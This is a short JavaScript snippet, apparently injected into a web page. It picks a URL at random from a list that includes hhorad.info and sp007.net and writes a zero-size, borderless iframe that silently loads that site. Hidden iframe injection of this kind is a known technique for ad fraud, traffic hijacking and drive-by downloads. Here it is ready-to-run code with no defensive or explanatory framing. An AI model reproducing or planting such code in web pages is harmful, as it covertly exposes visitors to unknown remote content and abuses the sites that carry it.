var adArr = new Array();
adArr[0] = "http://www.hhorad.info/123zq.html";
adArr[1] = "http://www.hhorad.info/123zq.html";
adArr[2] = "";
adArr[3] = "";
adArr[4] = "http://www.sp007.net/";
adArr[5] = "http://www.sp007.net/";
adArr[6] = "";
adArr[7] = "";
adArr[8] = "";
adArr[9] = "";


var dd = new Date();
var mm = dd.getMilliseconds();
var adnum = mm % adArr.length;
var adStr = adArr[adnum];

if (adStr!="") document.writeln('<iframe id="adframe" frameborder="0" scrolling="no" width="0" height="0" src="'+adStr+'"></iframe>');